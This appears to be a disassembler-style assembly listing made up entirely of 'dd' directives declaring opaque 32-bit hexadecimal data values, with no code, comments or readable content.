0C62D5ECh dd 41EBA827h, 2CD730EDh, 0C0CB7419h, 0AF0D652h, 0E4C1A927h dd 5660C048h, 0B3A872h, 0BA9E2FFAh, 0DFB45812h, 4B786B0Ah dd 0FD8BD848h, 7EDD8109h, 90217BB9h, 98D59EC8h, 87CB085Ch dd 4A115295h, 49BAE400h, 24F90BA8h, 73837613h, 215FD40Dh dd 11940C42h, 2F20D299h, 1BF96ECh, 64683C70h, 0F4762158h dd 320EC69Bh, 608BCBDEh, 9D7D57BFh, 39786E95h, 8FD1234Ch dd 14F47700h, 7D33291Bh, 4B9A00EDh, 0F2717A87h, 0FC00B01Ch dd 226638E4h, 4C59FF97h, 0E12C33B8h, 0EF4200B1h, 32AF9282h dd 0A898FCE6h, 2E007499h, 8DC8ABE6h, 7AEA3B23h, 245AD600h dd 4782CA10h, 3E9A9500h, 55CCB30Bh, 0FE32006Dh, 3E3A626h dd 9402211Eh, 9A5EDCF3h, 0A278836Bh, 0A37AA05Fh, 0B4ED0125h dd 0AEFDCDC2h, 0F3CBC433h, 220E48F8h, 407619E4h, 9E6D5777h dd 569A22BFh, 913B5509h, 0EB4C8442h, 0A63AA840h, 162E8E10h dd 3B3DE49Dh, 21223024h, 0CB3DDFEDh, 4900D41h, 0CD1263EEh dd 0E3009638h, 0BA27C85Ch, 3F410094h, 3EB639D7h, 9A0A0DEFh dd 0E452689Fh, 8342AD88h, 4A6CF5CAh, 485E72E9h, 900006E8h dd 0C380A49Bh, 12843049h, 84BD8D3h, 9F42EF7Ch, 0E9FE40B4h dd 0BC3C0034h, 0DA4680A7h, 1007C9Bh, 0DE787630h, 0B820F0C7h dd 47949945h, 1AF3A27Ch, 0DB6F5F40h, 3D38C800h, 0D1EF0C07h dd 5471030Fh, 262A631Dh, 17ECF900h, 9430B2FCh, 0BF0F004Dh dd 73B97099h, 0F039AE6Eh, 0D91B32D1h, 64E472h, 0B7B37328h dd 0E9FB657Fh, 1025A20Ah, 56114811h, 1408A500h, 199F02Fh dd 1BD7EC0Ch, 3587828h, 4F2E91CBh, 3A0FD2ABh, 382AFAC8h dd 3793D99h, 9D554013h, 51515D92h, 0B4AFEE10h, 73EC0116h dd 47B28259h, 72ABC02Ch, 9C3CC499h, 0A8450A5Eh, 0CA0308DAh dd 0C0F3833Bh, 0DCB43Dh, 23CFBC10h, 788B4564h, 761D52F2h dd 330C9798h, 9369EAh, 109CE8FBh, 1458AF2Fh, 226BB501h dd 51189911h, 59C3D0h, 0B4D6ECABh, 75401C29h, 9E509D58h dd 0CB266600h, 1EB3E5h, 506E88B4h, 51F45F7Bh, 0C2E0820Ah dd 9D0B0C41h, 26741096h, 0DC852962h, 5BCA0EBCh, 7B9C1A40h dd 25E2CB63h, 76C619DFh, 0EA295542h, 0A2960945h, 6C124B3Ah dd 0CC4EC441h, 90006029h, 0A450B9BCh, 2799AE4h, 0C6FE16Ch dd 8844A32Ah, 0F169544h, 6A68D555h, 2FDF4060h, 0AE026D29h dd 53A9B17Fh, 7B4460CEh, 3C9A28D1h, 9D4B370Ch, 0CB9C4141h dd 0B61CE0D5h, 0EFB83000h, 7A2D59A6h, 48D07426h, 0EA2A3480h dd 46D8C4E0h, 76824288h, 694CC09Ah, 836F36CDh, 4709C269h dd 80DB42E5h, 929B6648h, 7776A6h, 1323B286h, 0CC0ECA06h dd 50531A0Bh, 0D2288242h, 70842992h, 4DDB61CBh, 72FF0h dd 0C1CDD6F6h, 176E814Fh, 976F8400h, 0F42124D2h, 7E94021Bh dd 57747267h, 44A80068h, 3A1C988Ah, 0ABA4002Bh, 0D2CB8A0h dd 570F0552h, 60B5B4D4h, 1FF09C9Fh, 0A31A00CDh, 0D7947F10h dd 4CA48521h, 1807B4Ch, 6BBB19A9h, 70D4725Bh, 20009811h dd 1B4C41FFh, 0E4ED0190h, 0A03376E3h, 18D681A6h, 0AB5C4953h dd 56429D01h, 5008969Ah dd 8FB818A9h, 0D560FDE8h, 2F3137FAh, 62DCEC80h, 1E272135h dd 73434859h, 651D8095h, 0C393A78h, 20F7A982h, 0B3402EC2h dd 0D43FCA84h, 34AB0340h, 852899Ah, 1F3CD551h, 0E0069597h dd 170892CEh, 1A986CAh, 726AE324h, 2E23F0DAh, 41B09655h dd 60AF572Eh, 0AB580F90h, 0C0E44C04h, 0E0451BF3h, 597FCA9h dd 353612D4h, 28F1C04Ch, 0AF18F1CBh, 0C2C157D8h, 59976B49h dd 8BE8813h, 9B35E12h, 0EF6BF4C1h, 0DEEC988Eh, 62CC69F9h dd 763C00DCh, 0EC2C070Bh, 7B73060Ch, 29222AD3h, 0AA249700h dd 0D2276182h, 9CDF004Dh, 5360B031h, 0A713286Eh, 4C9083FEh dd 912305Fh, 87E9CBDAh, 49219886h, 80A80D48h, 0A49234C9h dd 0D8F2E1h, 290251BCh, 0C269734Dh, 0CC684A51h, 1F00F7EFh dd 0C5193AAh, 30834D5Ah, 3E109640h, 0D18488Ah, 0E3319B4Bh dd 0E1900099h, 819FC4C2h, 4800D1B7h, 3157AD0Ah, 480AA27h dd 0C31625D3h, 0E03C8956h, 0E4A8181Dh, 0FB4CDCF6h, 3B9E0BACh dd 4C5411CBh, 0EEF1B10h, 0FE209CB0h, 5FA30524h, 803CC7C8h dd 55F0C1CCh, 99CC29C3h, 0F519A9Fh, 8384294Ah, 0F26FE6F9h dd 2AE3AA0h, 850AC802h, 8348997Ch, 19AE998h, 42B474D0h dd 2937E416h, 7F49002Ch, 2C02186Ah, 105672F3h, 4A512Eh dd 0B2BF6EA9h, 229A4FABh, 0D3095282h, 80C818EFh, 0A82FE7B0h dd 0B3BF048Eh, 88164AABh, 506A5624h, 76454C31h, 1014E8C4h dd 72F317E0h, 0D21ED030h, 7D31000Ch, 3B996478h, 3600BA63h dd 3E91DA82h, 60FA7924h, 0CAC478DCh, 0B450AFCDh, 0ED12D428h dd 4C027496h, 60DC1BCEh, 12CAE594h, 31D5AFC8h, 896E870h dd 0B4E4828Fh, 51EBA106h, 7B45BFFh, 0C882413Fh, 7694518Ah dd 0F02D32h, 0A1BBBD8Ch, 2F49CFDh, 7201AC1h, 1DC060A8h dd 7C90F12Eh, 0A7965502h, 79158DDBh, 92A53C78h, 10557C91h dd 7CD873A3h, 0EC54A041h, 12E80704h, 834A2B90h, 11120544h dd 5408A110h, 74068F95h, 152BC062h, 1FA94040h, 756C0F84h dd 6347FBEAh, 44E3B027h, 0AC9090B5h, 40DFAB28h, 439C64E5h dd 36D40B00h, 0D0A20CA6h, 96BF17FFh, 49870F18h, 2DD541C1h dd 3D1C6093h, 54401D13h, 2FBC88h, 0AEB47CA7h, 0D07B6728h dd 2987800h, 8BC92C68h, 424044DEh, 72CC4613h, 0B7A404D0h dd 4B010009h, 32C07715h, 37B0BD49h, 582C6700h, 96113AB6h dd 46511226h, 0CB3C0015h, 9420443Bh, 0A9398212h, 70014412h dd 282AF397h, 93FCD180h, 488561E6h, 767B200Bh, 726A01F4h dd 0CC48DD84h, 4E419042h, 0ED6C608Fh, 49C93E70h, 870C900Dh dd 0FF8103D7h, 378B1768h, 28A394B8h, 8A0FD201h, 9B2A62D9h dd 3358B82Dh, 9707A43Fh, 53521AE2h, 1112A5EFh, 58C17A18h dd 0A30255F3h, 0FAB3EC98h, 59E7A101h, 5518F0E2h, 71FDECE0h dd 443A5A99h, 4275A9ACh, 205F72CAh, 0C947C227h, 0B3770600h dd 4C367AA6h, 8CA6B9h, 0FFD75649h, 3285FEB6h, 8B161C90h dd 38D04BA2h, 0EBA6Bh, 305178F7h, 0BBE7D999h, 44B20100h dd 74FF1291h, 0ECC0F9D5h, 33F22EC9h, 0D04A13F4h, 7AEB8850h dd 2C3C6B07h, 94503A82h, 0EC7F26h, 7155C159h, 7377241Ah dd 13C8058h, 8B409CD6h, 0C0531533h, 1822E00Ch, 0D19F00A5h dd 8ACA1F3Eh, 0DCA4DE76h, 2444EA24h, 0CD385611h, 87705B80h dd 26FCFF48h, 0FA360100h, 8A6009A9h, 598334BBh, 31744108h dd 0D40E9BD4h, 6A038985h, 68FC40A5h, 4DAFA090h, 26B2F884h dd 40143009h, 0C0115E3Eh, 7378C400h, 0A5455F87h, 0B3341665h dd 0AB38201Bh, 7004884Dh, 0E642CA25h, 80F44C4h, 1417663Ah dd 71ED2651h, 105D40B0h, 0E58F7C7h, 0C12080A8h, 0AA8E71h dd 9E32A792h, 241FCA86h, 2E47BA12h, 54482004h, 0ECA5805Ch dd 90CFF480h, 0D8058898h, 0E8D23592h, 16994C88h, 155295h dd 82677988h, 76248140h, 443A0E0h, 0A04A8925h, 0DBB4ECh dd 0FACA2096h, 10E173A2h, 1362F71Fh, 99EFC28Bh, 7E02D644h dd 4884B04h, 2F440197h, 0FB799563h, 0D08404C3h, 0C220E48Eh dd 841539CAh, 96627909h, 88D440E4h, 7B4890B8h, 0A69C18DCh dd 0F2305E78h, 0F328CB20h, 8FEA9C81h, 0B4AC60C7h, 0E7C2D605h dd 0B83049A0h, 75392DBh, 5AFBD165h, 5BED1024h, 749867D5h dd 91CDAC31h, 64291733h, 67969200h, 0F1C94EB3h, 347F9300h dd 0EB81E5C8h, 0F2391CE4h, 42FDCF56h, 8A70AF00h, 0EA2408D8h dd 9C24802Fh, 9B22A89h, 4E8C8480h, 41AFF042h, 43E93884h dd 0E8245C9Ah, 2C34039h, 8A967D5Dh, 0F7DE52h, 4BAD9218h dd 6339C01Ch, 93ECC3F3h, 61A28200h, 15740ADBh, 59EB0030h dd 0C36264FAh, 6B7A4D43h, 44787A78h, 0DCC4ED00h, 0B4AA2E28h dd 630D39E0h, 942248CCh, 6096881Eh, 80F5A940h, 2FA5AD0h dd 0DA15E258h, 0F8900D42h, 9D005375h, 796ABE22h, 269B3A55h dd 8754F4ABh, 32BF466Dh, 0C0802B54h, 26E15B35h, 1A602477h dd 1EB31BF1h, 655700D8h, 4B7CEFDCh, 48E8EB6Ch, 0BE41576h dd 0C9B12F00h, 0D870121Eh, 218B073Bh, 72C4949Ah, 5CA0B0CEh dd 1F2635A7h, 0D6901A09h, 8F837F5Fh, 62D91E41h, 5B286020h dd 0C7FA7507h, 0C66010A9h, 2CF3D1A2h, 0F304DBFh, 0CB09F01Ah dd 7262A022h, 0FC1CCCE9h, 0E004F2Fh, 0BE5A2303h, 0DFDC8Eh dd 91F1A4A0h, 0A82594C2h, 125C9B49h, 8491C3EDh, 0A19C9A0Dh dd 0EF5040D3h, 577EA06Dh, 2AD1F601h, 0CA9B1A5Eh, 13EC49C8h dd 893182D5h, 352863A4h, 507050A9h, 66286Ah, 22F41D7Fh dd 0E3BAB7C1h, 24FA483Fh, 7489B083h, 0C050E832h, 0A33B00D9h dd 5ED602FCh, 0D30F9880h, 0E158CF04h, 59DCE0BDh, 27C2A023h dd 6466A413h, 109F7089h, 69206Ah, 0C57D9C90h, 0D8DB1E8Eh dd 0A0303A4Fh, 0F8BE2630h, 0AAC90038h, 8473AC65h, 0C0B64F90h dd 981C2789h, 8453D598h, 806E9A26h, 1B0E64Bh, 2099EC2Eh dd 605A9362h, 0BE599855h, 0D22F009Ch, 0EFF9E55h, 31C90D8h dd 0F70CAF07h, 3CC15156h, 0D6118A06h, 7214143Dh, 43FB0034h dd 8B8DBFF2h, 0C3282C8Eh, 98D0204Ch, 96E0724Ch, 0C0CC9F54h dd 2246C9C2h, 6A008657h, 5E4DEEF5h, 3D1F1FCh, 6F64835Bh dd 0B902F24Ah, 4BBA91CAh, 0AEA0A090h, 3BED4Dh, 756E56E0h dd 14A3FA45h, 1D27FC38h, 0F0C0AB34h, 0A2C8D4D3h, 1B260066h dd 9353EAC3h, 0AB04573Fh, 4B4E9B72h, 831E09C0h, 0EEC818ECh dd 9D747029h, 0AD603CB6h, 0C3868437h, 0D6A05A08h, 78E2A383h dd 29055C63h, 0A6A852B3h, 0DCF4B8C9h, 0DC748927h, 8200ABBDh dd 0C5249A92h, 7AF20Dh, 3E42DB75h, 0C2C73639h, 0EA1C4B74h dd 9A416B60h, 63981982h, 0DAC058CDh, 0AB51002Ah, 0A61C9F4Ah dd 0E403EAE7h, 0D39CB287h, 954FD055h, 8CF35CDBh, 186C4D24h dd 1793D1EDh, 5F001B98h, 0AB45E660h, 9057861Bh, 0B4725CE4h dd 0C03EC18Eh, 77290ECCh, 0A63AFDD2h, 44BC0256h, 0C1DC1F18h dd 0B060E826h, 239A00CAh, 491ECE54h, 9812C85Ch, 0DCB0366Eh dd 9F9D3D55h, 0A303F85Dh, 80E1D876h, 0F06D12E8h, 0A09532F0h dd 68F6D3C8h, 0FCB83886h, 0A2C34900h, 9D27CE0Dh, 86F4E00h dd 0C0CB7BB5h, 0E71C98BBh, 1A4F3985h, 12DB81FCh, 2569865Eh dd 0FC2119AAh, 245ECA2h, 0CB943E23h, 0E8A06D28h, 0E04C5240h dd 27007598h, 447C34Bh, 1F703693h, 5F86AAh, 46CB4D12h dd 0C896E281h, 68177847h, 0D34F2BB0h, 9CBE00E4h, 5ED7FDAFh dd 0B304C8A2h, 0AAF0316Bh dd 3318ECADh, 0D2CC9114h, 6D7F7703h, 8FDB1539h, 444282C8h dd 8A341D9h, 0D881112h, 0EC26CA7Eh, 28003498h, 5EFB1765h dd 1DFD02E8h, 22DEA8A7h, 665D12C0h, 2EE22D1Dh, 0FF00211Eh dd 0C2680603h, 4679B5h, 0C125DEC6h, 764844A1h, 70D2220Fh dd 0C0E7A02Dh, 3C1C20h, 96369C3Bh, 1E625DA1h, 7DC5FD00h dd 0BC7C4D4Fh, 69306003h, 0C2703D1Dh, 2D0B6A00h, 8F4DEDA3h dd 0FCA93AD6h, 9C327286h, 0BE00895Dh, 84F5A080h, 14475Ah dd 0FFA18715h, 7DCE1D62h, 0DB86F20Ah, 2D008752h, 0FA21DD6Ah dd 0AE46006Eh, 6F3F4BA0h, 757F6637h, 38E3A718h, 0A039DD11h dd 30CD3414h, 5D7062B5h, 4B0098CEh, 0FB7037A4h, 0AE0C19A5h dd 0F5411194h, 0F6300756h, 1D8059D3h, 18DD497Bh, 0C108A595h dd 0B70C1E76h, 18F37D0Ch, 0A80F88BFh, 3F719363h, 39590034h dd 0B11440E0h, 4A00D4E8h, 0FD6874FEh, 327FEDh, 62FE288h dd 5A5154A4h, 20DE81C7h, 0D1D39971h, 38E1EED5h, 0E54C0840h dd 501C5C46h, 3B927D03h, 39766BF5h, 8A327100h, 0F1D813CAh dd 7E87308h, 75454F55h, 0F922D07Fh, 8C086289h, 835E1635h dd 95DE446h, 8995C903h, 42F6B842h, 0FA509088h, 39E17F58h dd 69F8A1A8h, 4403311Dh, 0DD920573h, 8232A898h, 0BD2F44h dd 5917F0EBh, 0DD0FAC80h, 875D19C0h, 879D922h, 5848A0CFh dd 0B8D44A80h, 0AB2BDEFDh, 0D7589840h, 79990122h, 598F4862h dd 0DD442042h, 50FE5B01h, 0F58CB0Ah, 74A9996h, 11D79D0h dd 0DC26677Eh, 0C0008EB1h, 95778BC3h, 1CEED23Bh, 0E1CA93h dd 9419449Dh, 0E7039ABAh, 908B3AFEh, 120CE132h, 0DD19002Ah dd 0A3B01BA0h, 5EA22903h, 0C88B4D4Ch, 538BA63h, 8932CA79h dd 377C0054h, 4C77F547h, 9C3610C6h, 3DFD1EF9h, 74DF804Bh dd 76502EEEh, 93F2520Eh, 0E7C05C79h, 3688B05Fh, 1B9D0334h dd 7E806F03h, 7C8FD0E7h, 0B503A98Ah, 8332CD27h, 28710955h dd 6810261Bh, 9500BC7Dh, 33D24EE2h, 60147447h, 8AD62884h dd 0C8F72705h, 0DD001659h, 375CC65Dh, 1F7E162h, 0F5FAE650h dd 0D34D2ED5h, 2B0061C6h, 0AEC02F8Ah, 77228E29h, 95491845h dd 81807C40h, 0E4A64228h, 44313F28h, 0AD20AB1Eh, 67179A00h dd 2FF586B9h, 24F6D2D9h, 64FBE200h, 7EB5DC93h, 0E4982E45h dd 39360041h, 0E5F2EB2h, 9042E8A8h, 6B20AD00h, 6318C6FFh dd 12017752h, 203ADE0Bh, 79A0B814h, 1125EB30h, 18A2F498h dd 4914B295h, 70010B7Ch, 419B53DBh, 9AD90F40h, 0BB99CC50h dd 1A29DF16h, 0D800F9D2h, 0E3AA1128h, 1A8A240Ch, 0E51963h dd 7A8408C4h, 4271AD05h, 0CA809661h, 49803B58h, 19DB659Ch dd 0B264134h, 8C009E8Bh, 0C9C65E72h, 1B110C5Ah, 22B1373Ch dd 0F4400100h, 0FCA333A6h, 0B47F00BFh, 6E83B7D1h, 61E8F714h dd 13604249h, 4C25E7E4h, 124C1410h, 0D40035E1h, 0BEA71686h dd 43745C65h, 18E5EB14h, 3EBDE40Ah, 4FB6003Ch, 24178B6Fh dd 0AA2D7100h, 0B579487Eh, 63D90BBh, 1E28C421h, 5930313Ch dd 0CB64917h, 0E74202A6h, 1F40C8D3h, 8B432060h, 32631905h dd 0A4466494h, 0A19936h, 83084110h, 0F23F3C7Eh, 2E0A0DE0h dd 0C8C871DCh, 0A5849E10h, 0BD7C470Ah, 930C9DD9h, 17A820F5h dd 83F87AD1h, 0F34C3F70h, 82311234h, 27E09C31h, 0D5F0170Ch dd 6063650Ah, 76070C04h, 9D204B02h, 1FF2E213h, 2A874E3Fh dd 0EFB10534h, 80587282h, 0E9A54F70h, 7AB34058h, 61FD0505h dd 0E0553C91h, 56E70C94h, 60F519EAh, 0A8B74953h, 300E5CF1h dd 0C27504B6h, 64744A52h, 6BBF0190h, 0E02F7F56h, 0F41103Ch dd 3021DED9h, 4EBB4680h, 6CD4700h, 7FB592F1h, 1D5802E7h dd 0D5945FABh, 0AA7DA480h, 200090F9h, 488F54EDh, 0BE7AC10h dd 60690934h, 0CC562804h, 8B01E6E4h, 10A980A1h, 3DDC19BEh dd 9144B06Bh, 0C30EBC14h, 0BF609A0Dh, 6403FA33h, 0CB7F99C0h dd 0C0923572h, 0DF8F0411h, 0A6077882h, 4C3E76AEh, 0B2964690h dd 919C2C9Ah, 0EFDB032Ah, 90333AC0h, 0BC17E820h, 446D2F03h dd 6262E499h, 0C483393Ch, 351F3428h, 610CCC19h, 57F2A300h dd 0EBA801BAh, 4A970117h, 2C3CF8E1h, 849FA6Dh, 9D51881Dh dd 9B368C2Eh, 0F20046B9h, 0D2068BAh, 1612A2CEh, 72386B88h dd 0B12057CCh, 62426Ah, 31BEBFEEh, 160EB3C8h, 0DDE44500h dd 0B4D051A8h, 6BB218DCh, 0EFD4104Dh, 0A6CAC61Eh, 42A91DC0h dd 4CBC7231h, 8F004180h, 0BEA4E5E6h, 0C635F2Ah, 2DF569h dd 957AEE71h, 6C2A1B4Ah, 12777698h, 16CE995Ch, 0D8489FA7h dd 542DC07Fh, 360C0BD9h, 0E9675738h, 920B086h, 0E57BAC6Eh dd 18BC2491h, 6BD3310Fh, 0C0BD2A31h, 0D491D779h, 0A118A044h dd 5249AD0h, 7E600470h, 0B4CBF0h, 0EFA4124Bh, 8E9BB711h dd 3DB54801h, 0A46D915h, 0C17EB991h, 0B8633188h, 0C71F7882h dd 0D0661E9Dh, 3808E028h, 582C4448h, 36E4805Ch, 21FCBCCh dd 73E28758h, 9840682Bh, 0A020BDEh, 49D71308h, 0C40407Dh dd 4F886B2h, 0E780F4BBh, 2FB1D850h, 532D0098h, 57AFA2A4h dd 0D100DE36h, 0D40571F0h, 0C7145F21h, 6E4DEE81h, 65AA6860h dd 492E319Dh, 3614CC63h, 2B09838Ch, 0D575B8F6h, 990700BAh dd 0C566ACEEh, 0C10F80FDh, 2385AE20h, 4804EB1Fh, 0DD2654A0h dd 36EC06DDh, 0F9004994h, 0CC9BAB8Ch, 0F60F5C78h, 75B3486Dh dd 35438501h, 40104730h, 39941D8h, 0A745E8C2h, 98088125h dd 36F5B8E5h, 0CD9EF180h, 0EF7AB08Bh, 67DC7024h, 0C74D370Fh dd 0E953DE18h, 835000D3h, 0A06D4976h, 0A31E73F5h, 2F43DDAFh dd 14725DA7h, 1403DE11h, 0CC48184Ch, 32261DC4h, 0F20C435h dd 2AEE10DEh, 4084B820h, 6600ECD8h, 0F976E824h, 1F90EF6Eh dd 3B563CEh, 0D68C6FA6h, 98CC12B0h, 1008F55Ch, 0DC8209BFh dd 98E0D35Ah, 0B6E82819h, 0BBFAE8h, 0FB408707h, 0E0116000h dd 0BD2E044Dh, 87E579B0h, 0BE806184h, 4A86E84Bh, 3EA61912h dd 0BFE50C20h, 32F400D3h, 57A8C44Eh, 5500D668h, 0B3386A08h dd 445A4Ch, 0B6A2E9E3h, 0BEC4D8DFh, 2264FC4Ch, 3445585Eh dd 0E8A5CC00h, 9C99A062h, 3BF44050h, 0BE389D02h, 0C28370D6h dd 30A4E67Ch, 1F2837A6h, 0F531B48Eh, 79731951h, 189A30h dd 0AD41618Ch, 0BD591187h, 28F8F977h, 0C1C43BFCh, 0DCB28B32h dd 0EBB8D107h, 0C0187BDEh, 0D542584Bh, 0E5124E21h, 8C410CCBh dd 88481060h, 61C03958h, 0A6D143A0h, 6750046h, 8757902Dh dd 7601EECCh, 8BD445FEh, 418851E1h, 24259D43h, 0F9403AB8h dd 26B5E3E4h, 0C28144Ah, 0E05B5C1Fh, 409D0B2h, 0B5409E48h dd 0C5EEC099h, 4A0A3300h, 5F47243Ch, 1029E566h, 93302701h dd 7310B202h, 32887B18h, 57CB989h, 8CE519BDh, 0CB282CF0h dd 1200E8B2h, 0BE23278Bh, 50D00F40h, 88306897h, 8004241h dd 0D6DFFB22h, 1634F92h, 0E7AF8A71h, 714A5D98h, 0BDFC1C28h dd 41380330h, 3DC70256h, 0B11A521Ah, 24426875h, 10555CC1h dd 1CD2E506h, 0B3576393h, 0C5C0EB10h, 58318756h, 75D4F10Ch dd 0DBC06CD5h, 7A07722h, 9E46BC6Ah, 0E5A110ECh, 0A61B95DDh dd 0C4305C72h, 0C8031480h, 0A08F00E2h, 1B84F44Bh, 5D0C5EBDh dd 11F5E3A7h, 143950DEh, 909958h, 0CAA42FFFh, 0BA0CE96Bh dd 0B15F5154h, 433D2A76h, 33D20060h, 38C36823h, 362CA6E1h dd 594560F3h, 76CAD820h, 0F1D10552h, 4C201A28h, 0FC564890h dd 0BD7F2600h, 751F11D6h dd 2C08EC27h, 0CB74E779h, 1CBE4C99h, 79010222h, 407A2ACFh dd 7103A873h, 71FEC42h, 0C836BD11h, 0BD0858h, 311786ABh dd 48CAB394h, 84431DE0h, 4CD10A00h, 3ACC5686h, 68257700h dd 1E92CEB5h, 9D260F3Ch, 0C4A0E936h, 0E7F7315Dh, 5000E4F4h dd 0C9E43BAh, 77D3EC1Dh, 39DD0298h, 61A6AF8Fh, 3F3EEC98h dd 6C833D00h, 0D85C80CAh, 6FE03BE9h, 32EF0BF9h, 8091528Ah dd 4482119Fh, 0F46B7AC4h, 1D9805E4h, 0D25919BBh, 68212F7Ch dd 0A1E03191h, 87A400E8h, 77858A80h, 0BE0B86EEh, 91FEB9h dd 5F3C4578h, 8CC9413h, 1E44509Ch, 50E02922h, 0B311A8B2h dd 3F2E6457h, 787F40F0h, 0E1000BC6h, 850DCECBh, 1F4E71Ah dd 73A6FF86h, 70AEF502h, 0D60A194Ch, 0F0A0BD39h, 37A010E7h dd 48B52D4Ah, 58869485h, 0CB802138h, 0DF00FF26h, 0C2492BB2h dd 16D6214h, 0BE5F4488h, 23752E99h, 0F887684h, 0B19D62D7h dd 40E6B999h, 8AD7CA0h, 20B31900h, 4FEF6D43h, 8245006Eh dd 0BC7EEDA0h, 9890076Ch, 35377CF8h, 0B4204961h, 0D59DFFh dd 0ECAA7D3Fh, 0ADB2B3C1h, 50EAE00Eh, 99BA23E7h, 2B60FFC8h dd 5DCE2Eh, 1AA06532h, 1F64353Ch, 4E557605h, 5048D40Fh dd 361041BFh, 861981B9h, 1A2B5F32h, 0D1B65280h, 3DD1F16h dd 26B41303h, 0E021E0E7h, 948832C9h, 903696C0h, 0B994E488h dd 47B16F00h, 38CD2C45h, 3A908Eh, 2BFA6733h, 2DAE3D62h dd 0E97F702h, 0C0EDBAA1h, 0F67AA0ACh, 74470C57h, 0D650B003h dd 5E057209h, 7E54405Fh, 60425C37h, 0AE8A3902h, 3860CD31h dd 4311CEBCh, 0BD3476C5h, 4C8411h, 0DA802D14h, 380A2437h dd 80BD9957h, 591A4562h, 0D4253C70h, 2A4B0438h, 3C581C08h dd 0B927803Eh, 5EF3EB6Ah, 3F58377Ch, 314E05CDh, 70A4788Ah dd 0CF6486Ch, 40530519h, 0C01C6887h, 7CC3E928h, 85E2412Fh dd 3883DB58h, 508B76C2h, 79D80178h, 0BFA83C29h, 43903h dd 0BE67067Dh, 4B282F1h, 794940C8h, 2FD4F425h, 7033008Ch dd 61780D24h, 0E900796Dh, 7B5E18DCh, 1C54D2h, 0A45D20FAh dd 368A2843h, 9F00A576h, 0CC7537AAh, 0F6675CB5h, 3CE7264h dd 773E8ADDh, 81D89AD9h, 212CD60Ch, 0CA00C648h, 0DBA41134h dd 0DD850210h, 161ED10Bh, 0D59C5861h, 7678205Ch, 0C55AF1F4h dd 11803C10h, 581514E7h, 0D700CC0Dh, 7E90DA23h, 3700CAE1h dd 5C719FFFh, 380ADF93h, 4F000FDCh, 86F31947h, 0EA245EDBh dd 0A813E8D3h, 30B2E032h, 0AD1DF97Bh, 1905741Eh, 0E0C803CCh dd 8A800B4h, 16AE454Dh, 98006778h, 12969D74h, 42B6D84h dd 31263A21h, 0BD04F48Bh, 4DEA9516h, 7B58C405h, 7D2B3180h dd 0E93500DDh, 0DBD04A41h, 7C098053h, 6B06CD40h, 0F850A1B8h dd 0FE08A0D6h, 1CD5482h, 0EBB67C48h, 80D1BDF0h, 6ABEE660h dd 0F3D90C59h, 58863186h, 0DA01D903h, 73A0841Bh, 74F81934h dd 472F277Fh, 8761D410h, 262B0E00h, 0B5FB969Ch, 0ED7609A7h dd 0A007C98Ch, 0B833A003h, 78944ED6h, 903C4662h, 77D5A90h dd 755E116h, 2639004Fh, 0A9006EB5h, 44C4AB24h, 10AAD5A6h dd 15EB858h, 5AE3A0E4h, 0C473108Ah, 0D0095204h, 0DDD50F6Ah dd 0E4080024h, 92179F27h, 5668D035h, 0D48EBB2h, 81D80025h dd 0F5AA84A1h, 120EFA8Dh, 60471315h, 0A895E794h, 1CCE6000h dd 56EBBCB6h, 0FFA50204h, 0EF6E109Bh, 0EDE808E4h, 21ECAB14h dd 5B420208h, 85C54F8Ch, 0C003FE8h, 4626F7D6h, 52781850h dd 0F9F1B0A8h, 0BEBD7D06h, 9628D85Eh, 4EF0A4Ch, 0A543021Ch dd 6844BD95h, 9200CCB9h, 26943F0Bh, 139C0009h, 74B80520h dd 1503D6ABh, 83ADD19h, 5C80AD1Eh, 3E031C7Eh, 18839C25h dd 28A5EBB8h, 930C80E7h, 0CB09E3A1h, 8473C81Eh, 32443A24h dd 3C2CB280h, 0A59C27FDh, 84B4361Ch, 0E66000EBh, 550A9863h dd 0F52E8C68h, 0B6032056h, 0EAD78E0Bh, 0B7948613h, 7B200111h dd 6DD833A2h, 597C74BDh, 8E94211h, 0CF14B500h, 0DE057641h dd 7DD43D48h, 25AD4706h, 2D08E674h, 0F8A05887h, 3F9210B0h dd 710DBF00h, 4395E13Ch, 0BD1E0099h, 0EE5F312Ah, 2308408Bh dd 0B10D1A2Fh, 0FD20D360h, 0CE49803Ah, 47255A95h, 5EDA00A2h dd 0BACABDFEh, 0C91E64C2h, 962722AEh, 707C586Ch, 36EF0C03h dd 4B91419Ch, 28D3714Ah, 778B8188h, 11825952h, 38BD505Eh dd 19002CEEh, 0A27E2905h, 0C02768h, 76574017h, 0CFE75E52h dd 564D6209h, 0CE06804Eh, 3CA54ABEh, 342FE68Bh, 69B118A0h dd 0B300D8D6h, 0AC49BFD3h, 130F95E9h, 7F6A58h, 400CC60Ch dd 0CD2AD984h, 510BC060h, 988B3242h, 8B20E5A8h, 715F77B0h dd 1C22DB4Eh, 0C836255Ah, 6400B508h, 0C1469A7Dh, 0E890BFD4h dd 96141FD0h, 0AF24A4A5h, 92C84090h, 0B3403116h, 0A9083601h dd 3F3061D8h, 0E84202F1h, 436DDDE4h, 1D3F4840h, 64D12D80h dd 43D5501Bh, 2498DD0Fh, 40B83F81h, 917C2F08h, 86326E3Eh dd 13D08851h, 0E5A14438h, 6C814503h, 0E3997A1Fh, 7C191DC3h dd 0E552C01Eh, 155FE74Dh, 0A30BD717h, 936F6400h, 65E3281Fh dd 0E45869D9h, 0AA03F26Ch, 117677B7h, 0D609F0E2h, 52052992h dd 345E0194h, 2BA30ABEh, 83B98420h, 84934CC0h, 368BF800h dd 0BF3809D0h, 42C18201h, 3707FADBh, 199E40C2h, 44849534h dd 0D1015E26h, 38A595FDh, 72356042h, 5B32020Ch, 408F39C7h dd 318877C0h, 0F43E7F01h, 0D6D3F285h, 2F9AE30h, 0A3C3A122h dd 4061BE8Bh, 0C8DC39D5h, 0D0C932A0h, 3370B861h, 0E4B200B0h dd 2065864Eh, 25B40073h, 47991B60h, 0E848E17Fh, 214964F4h dd 28892085h, 0D2DC072Ah, 21016660h, 4DABA000h, 433ECE55h dd 49EF24Eh, 357D6233h, 994891DBh, 28202BA7h, 3405F4Eh dd 31553B9Ch, 0A9182C9Dh, 0DA16035h, 4293FEAh, 0A97D4F83h dd 0D0E622EFh, 0A2F59F18h, 4E972588h, 4AD82032h, 0DA067C17h dd 0B403BED1h, 803891C1h, 3A130407h, 0AA14E718h, 9848A11h dd 49B43ED8h, 0B8701DBCh, 242209D4h, 9C44AC0Fh, 2C33A65Bh dd 86190080h, 412EDBEEh, 0A0987609h, 0BEC49E02h, 0F25E4A33h dd 0D3A702ACh, 0DC361043h, 38A02882h, 28F523h, 45411D29h dd 957691Eh, 50825A00h, 9CA84CB6h, 4F74253Fh, 5300F046h 